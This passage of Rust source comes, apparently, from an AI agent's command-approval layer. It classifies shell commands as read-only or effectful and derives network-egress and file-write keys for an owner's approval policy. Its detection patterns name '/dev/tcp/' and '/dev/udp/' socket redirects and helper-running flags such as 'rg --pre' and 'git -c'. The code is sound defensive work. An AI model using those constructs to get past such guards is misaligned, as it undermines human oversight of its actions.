1993        !name.is_empty()
1994            && name.chars().enumerate().all(|(index, ch)| {
1995                ch == '_' || ch.is_ascii_alphanumeric() && (index > 0 || !ch.is_ascii_digit())
1996            })
1997    })
1998}
1999
2000/// Result of the quote-aware scan.
2001struct Scan {
2002    segments: Vec<String>,
2003    /// Syntax that can write, execute, or hide something: file redirects,
2004    /// input redirects other than `/dev/null`, heredocs, substitutions,
2005    /// process substitution, comments, newlines, unclosed quotes.
2006    unsafe_syntax: bool,
2007    /// Unsafe syntax other than the structure a compound command is built
2008    /// from (newlines and `(`/`)` subshells): substitutions, heredocs,
2009    /// comments, process substitution, descriptor-numbered input, a newline
2010    /// inside single quotes, unclosed quotes.
2011    hidden_syntax: bool,
2012    /// Output redirected into a file (not `/dev/null` or a descriptor).
2013    writes_file: bool,
2014    /// Targets of plain input redirects (`< file`, `<file`, `0< file`),
2015    /// as written. A here-doc, here-string or process substitution is
2016    /// unsafe syntax instead.
2017    input_targets: Vec<String>,
2018    /// Targets of output redirects into files, as written (not
2019    /// descriptor duplications or the null and standard-stream devices).
2020    output_targets: Vec<String>,
2021    /// The character that ended each segment but the last, in order: `;`,
2022    /// `|`, `&`, `(`, `)` or a newline. `&&` and `||` are two characters
2023    /// with an empty segment between them.
2024    separators: Vec<char>,
2025}
2026
2027fn redirect_target(chars: &[char], mut j: usize) -> String {
2028    while chars.get(j).is_some_and(|c| c.is_whitespace()) {
2029        j += 1;
2030    }
2031    chars[j.min(chars.len())..]
2032        .iter()
2033        .take_while(|c| !c.is_whitespace() && !matches!(c, ';' | '|' | '&' | '(' | ')' | '<' | '>'))
2034        .collect()
2035}
2036
2037fn scan(command: &str) -> Scan {
2038    let command = shell_text(command);
2039    let chars: Vec<char> = command.chars().collect();
2040    let mut segments = Vec::new();
2041    let mut cur = String::new();
2042    let mut unsafe_syntax = false;
2043    let mut hidden_syntax = false;
2044    let mut writes_file = false;
2045    let mut input_targets = Vec::new();
2046    let mut output_targets = Vec::new();
2047    let mut separators = Vec::new();
2048    let (mut in_single, mut in_double) = (false, false);
2049    let mut i = 0;
2050    while i < chars.len() {
2051        let c = chars[i];
2052        if in_single {
2053            hidden_syntax |= c == '\n';
2054            in_single = c != '\'';
2055            cur.push(c);
2056            i += 1;
2057            continue;
2058        }
2059        let next = chars.get(i + 1).copied();
2060        match c {
2061            '\\' => {
2062                cur.push(c);
2063                if let Some(n) = next {
2064                    cur.push(n);
2065                }
2066                i += 2;
2067                continue;
2068            }
2069            '\n' => {
2070                unsafe_syntax = true;
2071                segments.push(std::mem::take(&mut cur));
2072                separators.push(c);
2073            }
2074            '\'' if !in_double => {
2075                in_single = true;
2076                cur.push(c);
2077            }
2078            '"' => {
2079                in_double = !in_double;
2080                cur.push(c);
2081            }
2082            // Substitutions expand inside double quotes too.
2083            '`' => {
2084                unsafe_syntax = true;
2085                hidden_syntax = true;
2086                cur.push(c);
2087            }
2088            '$' if next == Some('(') || (next == Some('\'') && !in_double) => {
2089                unsafe_syntax = true;
2090                hidden_syntax = true;
2091                cur.push(c);
2092            }
2093            _ if in_double => cur.push(c),
2094            '#' if cur.chars().last().is_none_or(|p| p.is_whitespace()) => {
2095                unsafe_syntax = true;
2096                hidden_syntax = true;
2097                cur.push(c);
2098            }
2099            ';' | '(' | ')' => {
2100                if c != ';' {
2101                    unsafe_syntax = true;
2102                }
2103                segments.push(std::mem::take(&mut cur));
2104                separators.push(c);
2105            }
2106            '|' | '&' if !(c == '&' && next == Some('>')) => {
2107                segments.push(std::mem::take(&mut cur));
2108                separators.push(c);
2109            }
2110            '&' => cur.push(c),
2111            '<' => {
2112                let target = redirect_target(&chars, i + 1);
2113                // `N<` opens a file on descriptor N, which the command may
2114                // read however it likes: not a plain stdin redirect.
2115                let word: String = cur
2116                    .chars()
2117                    .rev()
2118                    .take_while(|c| !c.is_whitespace())
2119                    .collect();
2120                let numbered = !word.is_empty() && word.chars().all(|d| d.is_ascii_digit());
2121                if numbered
2122                    || matches!(next, Some('<') | Some('(') | Some('>'))
2123                    || target.is_empty()
2124                {
2125                    unsafe_syntax = true;
2126                    hidden_syntax = true;
2127                } else if target != "/dev/null" {
2128                    input_targets.push(target);
2129                }
2130                cur.push(c);
2131            }
2132            '>' => {
2133                let mut j = i + 1;
2134                if matches!(chars.get(j), Some('>') | Some('|')) {
2135                    j += 1;
2136                }
2137                let mut dup = false;
2138                if chars.get(j) == Some(&'&') {
2139                    // `>&WORD` duplicates a descriptor only when WORD is a
2140                    // number, `-`, or a number then `-`; any other word
2141                    // (`>&1file`) is a file.
2142                    let word = redirect_target(&chars, j + 1);
2143                    let digits = word.trim_end_matches('-');
2144                    dup = word == "-"
2145                        || (!digits.is_empty()
2146                            && digits.chars().all(|d| d.is_ascii_digit())
2147                            && word.len() - digits.len() <= 1);
2148                    j += 1;
2149                }
2150                if next == Some('(') {
2151                    unsafe_syntax = true;
2152                    hidden_syntax = true;
2153                } else if !dup {
2154                    let target = redirect_target(&chars, j);
2155                    if target != "/dev/null" {
2156                        writes_file = true;
2157                        if !is_standard_stream(&target) {
2158                            output_targets.push(target);
2159                        }
2160                    }
2161                }
2162                cur.extend(&chars[i..j]);
2163                i = j;
2164                continue;
2165            }
2166            _ => cur.push(c),
2167        }
2168        i += 1;
2169    }
2170    if in_single || in_double {
2171        unsafe_syntax = true;
2172        hidden_syntax = true;
2173    }
2174    segments.push(cur);
2175    Scan {
2176        segments,
2177        unsafe_syntax,
2178        hidden_syntax,
2179        writes_file,
2180        input_targets,
2181        output_targets,
2182        separators,
2183    }
2184}
2185
2186/// A redirect target that is a process's own stream, not a file.
2187fn is_standard_stream(target: &str) -> bool {
2188    matches!(target, "/dev/stdout" | "/dev/stderr")
2189        || target
2190            .strip_prefix("/dev/fd/")
2191            .is_some_and(|fd| !fd.is_empty() && fd.chars().all(|c| c.is_ascii_digit()))
2192}
2193
2194fn is_redirect_word(token: &str) -> bool {
2195    let t = token.trim_start_matches(|c: char| c.is_ascii_digit());
2196    t.starts_with('>') || t.starts_with('<') || t.starts_with("&>")
2197}
2198
2199/// Drop redirection words (and a bare operator's target). The scan has
2200/// already vetted every redirect.
2201fn strip_redirections(tokens: Vec<String>) -> Vec<String> {
2202    let mut out = Vec::new();
2203    let mut iter = tokens.into_iter();
2204    while let Some(token) = iter.next() {
2205        if is_redirect_word(&token) {
2206            let bare = token.trim_start_matches(|c: char| c.is_ascii_digit());
2207            if bare.chars().all(|c| matches!(c, '>' | '<' | '&' | '|')) {
2208                iter.next();
2209            }
2210            continue;
2211        }
2212        out.push(token);
2213    }
2214    out
2215}
2216
2217fn is_observation_only(command: &str) -> bool {
2218    is_observation(command, false)
2219}
2220
2221/// An observation whose observers may also read plain input redirects
2222/// (`cat < file`). For judging where output came from, with the redirect
2223/// targets checked as operands (`path_operands`); the authority view
2224/// (`CommandEffects::observation_only`) stays the stricter shape.
2225pub fn is_observation_reading_input(command: &str) -> bool {
2226    is_observation(command, true)
2227}
2228
2229fn is_observation(command: &str, allow_input_redirects: bool) -> bool {
2230    let scanned = scan(command);
2231    if (!allow_input_redirects && !scanned.input_targets.is_empty())
2232        || scanned.hidden_syntax
2233        || scanned.separators.contains(&'\n')
2234        || scanned.writes_file
2235        || command.contains("/dev/tcp/")
2236        || command.contains("/dev/udp/")
2237    {
2238        return false;
2239    }
2240    let Some(commands) = simple_commands(&scanned) else {
2241        return false;
2242    };
2243    !commands.is_empty() && commands.iter().all(|tokens| observing_command(tokens))
2244}
2245
2246/// One simple command that only reads or prints.
2247fn observing_command(tokens: &[String]) -> bool {
2248    let tokens = without_display_env(tokens);
2249    let Some(first) = tokens.first() else {
2250        return false;
2251    };
2252    if is_env_assignment(first) {
2253        return false;
2254    }
2255    // `command ls` is the one wrapper that stays an observation.
2256    let tokens = if first == "command" {
2257        &tokens[1..]
2258    } else {
2259        tokens
2260    };
2261    let Some(program) = tokens.first() else {
2262        return false;
2263    };
2264    let name = basename(program);
2265    program_path_ok(program) && is_program_observation(name, &tokens[1..])
2266}
2267
2268/// `tree` is observation-only with only these read-only flags; `-o FILE` and
2269/// `-R` write files and anything unknown is rejected.
2270fn tree_args_ok(args: &[String]) -> bool {
2271    let mut iter = args.iter();
2272    while let Some(arg) = iter.next() {
2273        if matches!(arg.as_str(), "-L" | "-I" | "-P") {
2274            if iter.next().is_none() {
2275                return false;
2276            }
2277        } else if let Some(long) = arg.strip_prefix("--") {
2278            if !matches!(long, "noreport" | "dirsfirst") {
2279                return false;
2280            }
2281        } else if let Some(cluster) = arg.strip_prefix('-')
2282            && (cluster.is_empty() || !cluster.chars().all(|c| "adfshDCn".contains(c)))
2283        {
2284            return false;
2285        }
2286    }
2287    true
2288}
2289
2290fn short_cluster_has(arg: &str, letters: &[char]) -> bool {
2291    arg.starts_with('-') && !arg.starts_with("--") && arg.chars().any(|c| letters.contains(&c))
2292}
2293
2294/// `date` only reads the clock with display flags and at most one `+format`.
2295/// Any other positional is a new time to set, on BSD and GNU alike.
2296fn date_args_observe(args: &[String]) -> bool {
2297    let is_format = |arg: &String| arg.starts_with('+');
2298    args.iter().filter(|arg| is_format(arg)).count() <= 1
2299        && args.iter().all(|arg| {
2300            is_format(arg)
2301                || matches!(
2302                    arg.as_str(),
2303                    "-u" | "--utc" | "--universal" | "-R" | "--rfc-email"
2304                )
2305                || arg.starts_with("-I")
2306                || arg == "--iso-8601"
2307                || arg.starts_with("--iso-8601=")
2308        })
2309}
2310
2311/// `find` observes unless it deletes, writes a file or runs a command; an
2312/// `-exec`/`-execdir` whose command is itself an observation
2313/// (`-exec stat -f %z {} +`) observes too. `-ok`/`-okdir` prompt.
2314fn find_args_observe(args: &[String]) -> bool {
2315    let mut index = 0;
2316    while let Some(arg) = args.get(index) {
2317        match arg.as_str() {
2318            "-exec" | "-execdir" => {
2319                let rest = &args[index + 1..];
2320                let Some(end) = rest
2321                    .iter()
2322                    .position(|token| matches!(token.as_str(), ";" | "\\;" | "+"))
2323                else {
2324                    return false;
2325                };
2326                if end == 0 || !observing_command(&rest[..end]) {
2327                    return false;
2328                }
2329                index += end + 2;
2330            }
2331            flag if FIND_MUTATING_FLAGS.contains(&flag) => return false,
2332            _ => index += 1,
2333        }
2334    }
2335    true
2336}
2337
2338/// `sysctl` reads with display flags and variable names; a `name=value`,
2339/// `-w`, or loading a file (`-p`, `-f`, `--system`, `--load`) writes.
2340fn sysctl_args_read(args: &[String]) -> bool {
2341    args.iter().all(|arg| match arg.strip_prefix('-') {
2342        Some(long) if long.starts_with('-') => {
2343            matches!(long, "-all" | "-values" | "-names")
2344        }
2345        Some(cluster) => {
2346            !cluster.is_empty() && cluster.chars().all(|ch| "naAehNqxbdoX".contains(ch))
2347        }
2348        None => {
2349            !arg.contains('=')
2350                && arg
2351                    .chars()
2352                    .all(|ch| ch.is_ascii_alphanumeric() || matches!(ch, '.' | '_' | '-'))
2353        }
2354    })
2355}
2356
2357/// `top` that takes a bounded number of samples and exits: `-l N` (macOS)
2358/// or batch mode with `-n N` (procps). Anything else waits on a terminal.
2359fn top_samples_and_exits(args: &[String]) -> bool {
2360    let positive = |value: Option<&String>| {
2361        value.is_some_and(|value| value.parse::<u32>().is_ok_and(|n| n >= 1))
2362    };
2363    let mac = args
2364        .iter()
2365        .position(|arg| arg == "-l")
2366        .is_some_and(|index| positive(args.get(index + 1)));
2367    let batch = args.iter().any(|arg| arg == "-b" || arg == "-bn1")
2368        && (args.iter().any(|arg| arg == "-bn1")
2369            || args
2370                .iter()
2371                .position(|arg| arg == "-n")
2372                .is_some_and(|index| positive(args.get(index + 1))));
2373    mac || batch
2374}
2375
2376/// A `sleep` operand: a non-negative number with an optional s/m/h/d unit.
2377fn is_sleep_duration(arg: &str) -> bool {
2378    let number = arg.strip_suffix(['s', 'm', 'h', 'd']).unwrap_or(arg);
2379    !number.is_empty()
2380        && number.chars().all(|ch| ch.is_ascii_digit() || ch == '.')
2381        && number.parse::<f64>().is_ok_and(f64::is_finite)
2382}
2383
2384fn observation_args_ok(program: &str, args: &[String]) -> bool {
2385    let any = |pred: &dyn Fn(&str) -> bool| args.iter().any(|arg| pred(arg));
2386    match program {
2387        "find" => find_args_observe(args),
2388        "sysctl" => sysctl_args_read(args),
2389        "top" => top_samples_and_exits(args),
2390        "rg" => !any(&|a| {
2391            a == "--pre"
2392                || a.starts_with("--pre=")
2393                || a.starts_with("--pre-glob")
2394                || a.starts_with("--hostname-bin")
2395                || a == "--search-zip"
2396                || short_cluster_has(a, &['z'])
2397        }),
2398        "sort" => !any(&|a| {
2399            a.starts_with("--compress-program")
2400                || a.starts_with("--output")
2401                || short_cluster_has(a, &['o'])
2402        }),
2403        // A bare `-` is a positional (stdin), so `uniq - out` writes `out`.
2404        "uniq" => {
2405            args.iter()
2406                .filter(|arg| !arg.starts_with('-') || arg.as_str() == "-")
2407                .count()
2408                < 2
2409        }
2410        "tree" => tree_args_ok(args),
2411        "date" => date_args_observe(args),
2412        // A name operand (or `-F file`) sets the host name.
2413        "hostname" => args
2414            .iter()
2415            .all(|arg| matches!(arg.as_str(), "-s" | "-f" | "--short" | "--fqdn")),
2416        // Waiting does nothing else; a bounded duration (`18`, `0.5`, `2m`).
2417        // `infinity` never returns and is left to the owner.
2418        "sleep" => !args.is_empty() && args.iter().all(|arg| is_sleep_duration(arg)),
2419        "file" => !any(&|a| {
2420            a == "--compile" || a.starts_with("--magic-file") || short_cluster_has(a, &['C', 'm'])
2421        }),
2422        "git" => {
2423            let mut index = 0;
2424            while let Some(arg) = args.get(index).filter(|arg| arg.starts_with('-')) {
2425                // The classifier has no roots, so it cannot vouch for a
2426                // redirected repository.
2427                if arg == "-C" || arg.starts_with("--git-dir") || arg.starts_with("--work-tree") {
2428                    return false;
2429                }
2430                if arg == "-c" || arg.starts_with("--config-env") || arg.starts_with("--exec-path")
2431                {
2432                    return false;
2433                }
2434                index += 1;
2435            }
2436            let Some(subcommand) = args.get(index) else {
2437                return false;
2438            };
2439            let rest = &args[index + 1..];
2440            if rest
2441                .iter()
2442                .any(|a| a == "--ext-diff" || a.starts_with("--output") || a == "--textconv")
2443            {
2444                return false;
2445            }
2446            if GIT_OBSERVATION_SUBCOMMANDS.contains(&subcommand.as_str()) {
2447                return true;
2448            }
2449            subcommand == "branch"
2450                && rest.iter().all(|arg| {
2451                    matches!(
2452                        arg.as_str(),
2453                        "--list" | "-a" | "-r" | "-v" | "--show-current"
2454                    )
2455                })
2456        }
2457        _ => true,
2458    }
2459}
2460
2461/// Bodies of `$(...)` and backtick substitutions (any nesting), so a command
2462/// hidden in a double-quoted substitution is still examined.
2463fn substitution_bodies(command: &str) -> Vec<String> {
2464    let chars: Vec<char> = command.chars().collect();
2465    let mut bodies = Vec::new();
2466    let mut in_single = false;
2467    let mut i = 0;
2468    while i < chars.len() {
2469        let c = chars[i];
2470        if c == '\'' {
2471            in_single = !in_single;
2472        } else if !in_single && c == '\\' {
2473            i += 1;
2474        } else if !in_single && c == '$' && chars.get(i + 1) == Some(&'(') {
2475            let mut depth = 1;
2476            let mut j = i + 2;
2477            while j < chars.len() && depth > 0 {
2478                match chars[j] {
2479                    '(' => depth += 1,
2480                    ')' => depth -= 1,
2481                    _ => {}
2482                }
2483                j += 1;
2484            }
2485            let end = if depth == 0 { j - 1 } else { j };
2486            bodies.push(chars[i + 2..end].iter().collect());
2487        } else if !in_single
2488            && c == '`'
2489            && let Some(len) = chars[i + 1..].iter().position(|&x| x == '`')
2490        {
2491            bodies.push(chars[i + 1..i + 1 + len].iter().collect());
2492            i += len + 1;
2493        }
2494        i += 1;
2495    }
2496    bodies
2497}
2498
2499/// Every command reachable from `command`: each segment, substitution body,
2500/// `sh -c` script, and the inner command behind any wrapper. Each entry is a
2501/// non-empty token list whose first token is the executable.
2502fn expanded_commands(command: &str) -> Vec<Vec<String>> {
2503    let mut out = Vec::new();
2504    collect_commands(command, 0, &mut out);
2505    out
2506}
2507
2508const MAX_DEPTH: usize = 4;
2509
2510fn collect_commands(command: &str, depth: usize, out: &mut Vec<Vec<String>>) {
2511    if depth > MAX_DEPTH {
2512        return;
2513    }
2514    for segment in scan(command).segments {
2515        if segment.trim().is_empty() {
2516            continue;
2517        }
2518        let tokens = shell_words::split(&segment)
2519            .unwrap_or_else(|_| segment.split_whitespace().map(str::to_string).collect());
2520        push_with_wrappers(strip_redirections(tokens), depth, out);
2521    }
2522    for body in substitution_bodies(command) {
2523        collect_commands(&body, depth + 1, out);
2524    }
2525    for invocation in structural_shell_invocations(command) {
2526        let mut tokens = vec![invocation.program];
2527        tokens.extend(invocation.arguments);
2528        push_with_wrappers(tokens, depth, out);
2529    }
2530}
2531
2532fn push_with_wrappers(mut tokens: Vec<String>, depth: usize, out: &mut Vec<Vec<String>>) {
2533    if depth > MAX_DEPTH || tokens.len() > 64 {
2534        return;
2535    }
2536    while tokens.first().is_some_and(|t| is_env_assignment(t)) {
2537        tokens.remove(0);
2538    }
2539    let Some(first) = tokens.first() else {
2540        return;
2541    };
2542    let program = basename(first).to_string();
2543    out.push(tokens.clone());
2544    if WRAPPERS.contains(&program.as_str()) {
2545        for start in 1..tokens.len() {
2546            push_with_wrappers(tokens[start..].to_vec(), depth + 1, out);
2547        }
2548    }
2549    if program == "find" {
2550        for (index, token) in tokens.iter().enumerate() {
2551            if matches!(token.as_str(), "-exec" | "-execdir" | "-ok" | "-okdir") {
2552                push_with_wrappers(tokens[index + 1..].to_vec(), depth + 1, out);
2553            }
2554        }
2555    }
2556}
2557
2558// ---------------------------------------------------------------------------
2559// Typed call effects
2560// ---------------------------------------------------------------------------
2561//
2562// What a call does, for the kernel's decline memory and the approval and
2563// egress policies. Keys are built only with the kernel constructors.
2564//
2565// A shell command is NEVER declared complete. A shell string cannot be
2566// proven fully described: each review round found another construct
2567// (`>&1file`, `find -follow`, `curl -w @file`, ...). Completeness would only
2568// spare the owner one re-ask after a decline, while the declared keys bind
2569// declines either way. So `shell_call_effects` always returns
2570// `complete: false` and the parser below is best-effort key extraction.
2571//
2572// The grammar still decides which keys are extracted, and a wrong key is
2573// worse than none:
2574// - a known observation, or a program from the tables below, in a shape
2575//   where every option is listed with its arity (a flag or one value);
2576//   anything else is opaque and contributes no keys of its own;
2577// - an unquoted brace, glob, `$`, backtick, backslash or `~user` (or an
2578//   expansion inside double quotes) marks the segment opaque;
2579// - a URL is read only in its strict form
2580//   (`scheme://[userinfo@]host[:port][/path][?q][#f]`, ASCII, one `@` at
2581//   most, a DNS name or IP literal, no curl glob characters) and only with a
2582//   known port; a bare host must be a DNS name or IP literal;
2583// - a path resolves physically (see `shell_path_effects`); after `cd`,
2584//   `pushd` or `popd` no relative path resolves, and a `~` attached to an
2585//   option value stays literal, as in the shell.
2586//
2587// Residuals, ambient to the programs and not modelled: configuration they
2588// read themselves (`~/.curlrc`, `~/.ssh/config` host aliases, git
2589// `insteadOf`), files they maintain (`~/.wget-hsts`, `~/.ssh/known_hosts`),
2590// proxy variables inherited from the daemon's environment, and redirects a
2591// server returns (re-validated per hop by the destination policy).
2592
2593/// An egress effect on `host`, with IPv6 brackets stripped so `[::1]` and
2594/// `::1` name one host. `None` for an empty or unreadable host.
2595pub fn egress_effect(scheme: &str, host: &str, port: Option<u16>) -> Option<EffectKey> {
2596    let host = host.trim();
2597    let bare = match host.strip_prefix('[') {
2598        // A bracketed host is an IPv6 literal and nothing else.
2599        Some(inner) => {
2600            let inner = inner.strip_suffix(']')?;
2601            inner.parse::<std::net::Ipv6Addr>().ok()?;
2602            inner
2603        }
2604        None => host,
2605    };
2606    if !valid_host(bare) {
2607        return None;
2608    }
2609    Some(EffectKey::egress(scheme, bare, port))
2610}
2611
2612/// A DNS name (ASCII letters, digits and inner hyphens per label; a trailing
2613/// dot allowed) or an IPv4 or IPv6 literal. Rejects every character a shell
2614/// or curl could expand (`{ } * ? [ ] ,`).
2615fn valid_host(host: &str) -> bool {
2616    if host.parse::<std::net::Ipv4Addr>().is_ok() || host.parse::<std::net::Ipv6Addr>().is_ok() {
2617        return true;
2618    }
2619    let name = host.strip_suffix('.').unwrap_or(host);
2620    !name.is_empty()
2621        && name.len() <= 253
2622        && name.split('.').all(|label| {
2623            !label.is_empty()
2624                && label.len() <= 63
2625                && !label.starts_with('-')
2626                && !label.ends_with('-')
2627                && label.chars().all(|c| c.is_ascii_alphanumeric() || c == '-')
2628        })
2629}
2630
2631/// Default ports the kernel's egress constructor does not know.
2632fn scheme_default_port(scheme: &str) -> Option<u16> {
2633    match scheme {
2634        "git" => Some(9418),
2635        "rsync" => Some(873),
2636        "ssh" | "git+ssh" | "ssh+git" | "sftp" | "scp" => Some(22),
2637        _ => None,
2638    }
2639}
2640
2641/// The egress effect of a URL in its strict form
2642/// (`scheme://[userinfo@]host[:port][/path][?query][#fragment]`). `None` for
2643/// anything else: no scheme (programs guess one), non-ASCII, whitespace,
2644/// control characters, `\\`, quotes, shell expansion, more than one `@` in
2645/// the authority, a host that is not a DNS name or IP literal, a bad port,
2646/// or curl glob characters (`{ } [ ] * ,`) outside an IPv6 host literal. The
2647/// host must also be the one the URL crate reads, so a program's parser and
2648/// ours cannot disagree.
2649pub fn url_effect(raw: &str) -> Option<EffectKey> {
2650    let url = strict_url(raw)?;
2651    url_host_effect(&url)
2652}
2653
2654fn strict_url(raw: &str) -> Option<reqwest::Url> {
2655    if raw.is_empty()
2656        || !raw.is_ascii()
2657        || raw.chars().any(|c| {
2658            c.is_ascii_whitespace()
2659                || c.is_ascii_control()
2660                || matches!(c, '\\' | '$' | '`' | '"' | '\'' | '{' | '}' | '*' | ',')
2661        })
2662    {
2663        return None;
2664    }
2665    let (scheme, rest) = raw.split_once("://")?;
2666    let mut scheme_chars = scheme.chars();
2667    if !scheme_chars.next()?.is_ascii_alphabetic()
2668        || !scheme_chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '+' | '-' | '.'))
2669    {
2670        return None;
2671    }
2672    let authority_end = rest.find(['/', '?', '#']).unwrap_or(rest.len());
2673    let (authority, tail) = rest.split_at(authority_end);
2674    // Brackets belong only to an IPv6 host literal.
2675    if tail.contains(['[', ']']) || authority.matches('@').count() > 1 {
2676        return None;
2677    }
2678    let host_port = authority
2679        .rsplit_once('@')
2680        .map_or(authority, |(_, host)| host);
2681    let (host, port) = match host_port.strip_prefix('[') {
2682        Some(after) => {
2683            let (inner, port) = after.split_once(']')?;
2684            (format!("[{inner}]"), port)
2685        }
2686        None => match host_port.split_once(':') {
2687            Some((host, _)) => (host.to_string(), &host_port[host.len()..]),
2688            None => (host_port.to_string(), ""),
2689        },
2690    };
2691    if host.contains(['[', ']']) && !host.starts_with('[') {
2692        return None;
2693    }
2694    if let Some(digits) = port.strip_prefix(':') {
2695        if digits.is_empty() || digits.len() > 5 || !digits.chars().all(|c| c.is_ascii_digit()) {
2696            return None;
2697        }
2698        digits.parse::<u16>().ok()?;
2699    } else if !port.is_empty() {
2700        return None;
2701    }
2702    egress_effect(scheme, &host, None)?;
2703    let url = reqwest::Url::parse(raw).ok()?;
2704    let normalize = |host: &str| host.trim_end_matches('.').to_ascii_lowercase();
2705    (normalize(url.host_str()?) == normalize(&host)).then_some(url)
2706}
2707
2708/// The egress effect of a parsed URL: its host and its explicit port, else
2709/// the scheme's default.
2710pub fn url_host_effect(url: &reqwest::Url) -> Option<EffectKey> {
2711    let scheme = url.scheme();
2712    // No key rather than a wrong one: a scheme whose default port is not
2713    // known here (`dict`, `ldap`, `telnet`) would otherwise be port 0.
2714    let port = url
2715        .port()
2716        .or_else(|| scheme_default_port(scheme))
2717        .or_else(|| url.port_or_known_default())?;
2718    egress_effect(scheme, url.host_str()?, Some(port))
2719}
2720
2721/// A path argument as an absolute path, when it can be read structurally:
2722/// `~` and `~/โ€ฆ` expand to the home directory, a relative path resolves
2723/// against `cwd` (an absolute directory). `None` for shell expansion or
2724/// globbing, `~user`, or a relative path with no known working directory.
2725/// Every effect a path declares is read this way, so a delete and a write
2726/// of the same argument name the same path.
2727fn structural_absolute_path(raw: &str, cwd: Option<&str>) -> Option<String> {
2728    let raw = raw.trim();
2729    if raw.is_empty() || raw.contains(['$', '`', '*', '?', '[', ']', '{', '}', '\\', '\0']) {
2730        return None;
2731    }
2732    let expanded = if raw == "~" || raw.starts_with("~/") {
2733        format!("{}{}", dirs::home_dir()?.to_str()?, &raw[1..])
2734    } else if raw.starts_with('~') {
2735        return None;
2736    } else {
2737        raw.to_string()
2738    };
2739    if crate::BackendPath::is_absolute(&expanded) {
2740        return Some(expanded);
2741    }
2742    let cwd = cwd
2743        .map(str::trim)
2744        .filter(|cwd| crate::BackendPath::is_absolute(cwd))?;
2745    Some(format!("{}/{expanded}", cwd.trim_end_matches('/')))
2746}
2747
2748/// A path effect on `raw`, absolute and normalized: `~/` expands to the home
2749/// directory and a relative path resolves against `cwd` (an absolute
2750/// directory). On disk the nearest existing ancestor is canonicalized, so an
2751/// existing path is declared by its canonical form (symlinks resolved, and on
2752/// macOS case and `/tmp` as `/private/tmp`) and a new one below it agrees with
2753/// it. A `Delete` keeps its last component: removing a symlink removes the
2754/// link. `None` when the path cannot be read structurally (shell expansion)
2755/// or is relative with no known working directory.
2756pub fn path_effect(class: EffectClass, raw: &str, cwd: Option<&str>) -> Option<EffectKey> {
2757    let absolute = structural_absolute_path(raw, cwd)?;
2758    let lexical = EffectKey::path(class, &absolute)?;
2759    Some(resolved_on_disk(class, lexical))
2760}
2761
2762fn resolved_on_disk(class: EffectClass, lexical: EffectKey) -> EffectKey {
2763    let path = std::path::Path::new(&lexical.target);
2764    let (base, leaf) = match (class, path.parent(), path.file_name()) {
2765        (EffectClass::Delete, Some(parent), Some(name)) => (parent, Some(name)),
2766        _ => (path, None),
2767    };
2768    for ancestor in base.ancestors() {
2769        let Ok(mut real) = dunce::canonicalize(ancestor) else {
2770            continue;
2771        };
2772        if let Ok(rest) = base.strip_prefix(ancestor)
2773            && !rest.as_os_str().is_empty()
2774        {
2775            real.push(rest);
2776        }
2777        if let Some(leaf) = leaf {
2778            real.push(leaf);
2779        }
2780        return real
2781            .to_str()
2782            .and_then(|real| EffectKey::path(class, real))
2783            .unwrap_or(lexical);
2784    }
2785    lexical
2786}
2787
2788/// A path operand of a shell command, resolved the way the OS resolves it:
2789/// the longest existing prefix of the RAW path (`..` not folded first, so
2790/// `link/..` is the link target's parent) is canonicalized, then the rest is
2791/// appended. A `Delete` also declares the entry as named (its parent
2792/// canonicalized, its last component kept), so both a symlink and, through a
2793/// trailing `/`, its target are covered. `None` when the path cannot be read
2794/// (shell expansion, relative with no working directory), when an existing
2795/// prefix cannot be canonicalized (a dangling symlink), or when `..` follows
2796/// a component that does not exist.
2797pub fn shell_path_effects(
2798    class: EffectClass,
2799    raw: &str,
2800    cwd: Option<&str>,
2801) -> Option<Vec<EffectKey>> {
2802    let absolute = structural_absolute_path(raw, cwd)?;
2803    let components: Vec<&str> = absolute
2804        .split('/')
2805        .filter(|part| !part.is_empty() && *part != ".")
2806        .collect();
2807    let mut existing = components.len();
2808    let base = loop {
2809        let prefix = format!("/{}", components[..existing].join("/"));
2810        if std::fs::symlink_metadata(&prefix).is_ok() {
2811            break dunce::canonicalize(&prefix).ok()?;
2812        }
2813        existing -= 1;
2814    };
2815    let rest = &components[existing..];
2816    if rest.contains(&"..") {
2817        return None;
2818    }
2819    let mut physical = base;
2820    for part in rest {
2821        physical.push(part);
2822    }
2823    let mut keys = vec![EffectKey::path(class, physical.to_str()?)?];
2824    if class == EffectClass::Delete {
2825        let named = path_effect(class, raw, cwd)?;
2826        if !keys.contains(&named) {
2827            keys.push(named);
2828        }
2829    }
2830    Some(keys)
2831}
2832
2833/// Whether the active execution backend is this machine, so paths resolve on
2834/// the local disk.
2835pub fn execution_backend_is_local(backend: &dyn crate::backend::ExecutionBackend) -> bool {
2836    backend.kind() == crate::backend::BackendKind::Local
2837}
2838
2839/// Effects on a remote (SSH, Docker) workspace: its paths cannot be
2840/// resolved on this disk, so path keys are dropped and the effects are
2841/// incomplete. Egress keys stay.
2842pub fn without_local_paths(mut effects: CallEffects) -> CallEffects {
2843    effects.keys.retain(|key| {
2844        !matches!(
2845            key.class,
2846            EffectClass::Write | EffectClass::Delete | EffectClass::Configuration
2847        )
2848    });
2849    effects.complete = false;
2850    effects.understood = false;
2851    effects
2852}
2853
2854/// The effects of `write_file`/`edit_file`: a write of the path argument
2855/// (or its aliases). A relative path, or any path on a remote workspace, is
2856/// undeterminable here.
2857pub fn file_tool_write_effects(
2858    backend: &dyn crate::backend::ExecutionBackend,
2859    arguments: &str,
2860) -> CallEffects {
2861    if !execution_backend_is_local(backend) {
2862        return CallEffects::unknown();
2863    }
2864    let path = serde_json::from_str::<serde_json::Value>(arguments)
2865        .ok()
2866        .and_then(|args| {
2867            ["path", "file_path", "file", "filename"]
2868                .iter()
2869                .find_map(|key| {
2870                    args.get(*key)
2871                        .and_then(|value| value.as_str())
2872                        .map(str::to_string)
2873                })
2874        });
2875    match path.and_then(|path| path_effect(EffectClass::Write, &path, None)) {
2876        Some(key) => CallEffects {
2877            keys: vec![key],
2878            complete: true,
2879            understood: false,
2880        },
2881        None => CallEffects::unknown(),
2882    }
2883}
2884
2885/// The typed effects of a shell command run in `cwd` (an absolute directory,
2886/// if known): egress hosts from the URL operands of network programs,
2887/// deletes, and writes from output redirects, `tee`, `cp`/`mv`
2888/// destinations, `touch` and `mkdir`. NEVER complete: a shell string cannot
2889/// be proven fully described (every review round found another construct),
2890/// and the keys bind the owner's declines either way. It is `understood`
2891/// when every segment is a program this scan models, with literal operands
2892/// it resolved (no substitution, expansion, `cd` or unknown program): the
2893/// owner is then asked again after a decline only for a call that deletes
2894/// or reaches outside, not for a plain copy into the work area followed by
